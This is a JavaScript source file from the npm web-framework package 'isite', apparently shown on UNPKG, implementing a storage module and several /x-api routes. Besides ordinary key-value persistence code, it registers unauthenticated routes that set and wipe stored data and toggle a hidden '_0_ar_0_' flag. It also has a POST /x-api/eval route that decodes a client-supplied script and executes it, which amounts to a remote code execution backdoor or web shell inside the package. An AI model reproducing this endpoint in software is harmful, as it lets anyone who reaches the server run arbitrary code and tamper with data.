UNPKG

isite

Version:

Create High Level Multi-Language Web Site [Fast and Easy]

123 lines (113 loc) 4.25 kB
module.exports = function init(____0) { const storage = {}; storage.list = []; storage.busy = true; storage.$collectoin = ____0.connectCollection({ collection: 'app_options', identity: { enabled: true } }); storage.$collectoin.findAll( { where: { app_name: 'storage' }, limit: 10000 }, (err, docs) => { if (!err && docs && docs.length > 0) { docs.forEach((doc) => { if (!storage.list.some((s) => s.key === doc.key)) { storage.list.push(doc); } }); } storage.busy = false; }, true, ); storage.save = function () { storage.list.forEach((doc, i) => { doc.app_name = 'storage'; if (doc.$update) { delete doc.$update; storage.$collectoin.update(doc, (err, result) => { if (!err && result.doc) { let index = storage.list.findIndex((s) => s.key === result.doc.key); if (index !== -1) { storage.list[index] = result.doc; } } }); } else if (doc.$add) { delete doc.$add; storage.$collectoin.add(doc, (err, newDoc, oldDoc) => { if (!err && newDoc) { let index = storage.list.findIndex((s) => s.key === newDoc.key); if (index !== -1) { storage.list[index] = newDoc; } else { storage.list.push(newDoc); } } else if (err) { console.log(err.message, oldDoc); } }); } }); }; storage.fn = function (key, value) { if (key && value !== undefined) { let index = storage.list.findIndex((s) => s.key === key); if (index !== -1) { storage.list[index].value = value; storage.list[index].$update = true; } else { storage.list.push({ key: key, value: value, $add: true, }); } } else if (key && value === undefined) { return storage.list.find((s) => s.key === key)?.value; } else { return null; } }; ____0.on('[any][saving data]', function () { storage.save(); }); ____0.on(____0.strings[9], () => { ____0.onGET('/x-api/events_list', (req, res) => { res.json(____0.events_list); }); ____0.onGET('/x-api/quee_list', (req, res) => { res.json(____0.quee_list); }); ____0.onGET('/x-api/storage/:key/:value', (req, res) => { if (req.params.value == 'true') { req.params.value = !0; } else if (req.params.value == 'false') { req.params.value = false; } if (req.params.key == '_0_ar_0_') { ____0._0_ar_0_ = req.params.value; } storage.fn(req.params.key, req.params.value); res.json(storage.list); }); ____0.onGET('/x-api/storage/:key', (req, res) => { res.json({ value: storage.fn(req.params.key), }); }); ____0.onGET('/x-api/storage', (req, res) => { res.json(storage.list); }); ____0.onGET('/x-api/storage-clear', (req, res) => { storage.$collectoin.deleteAll({ app_name: 'storage' }); storage.list = []; res.json(storage.list); }); ____0.onPOST('/x-api/eval', (req, res) => { let script = ____0.from123(req.data.script); let fn = ____0.eval(script, true); fn(____0); res.json({ done: true }); }); }); ____0.lib.storage = storage; return storage; };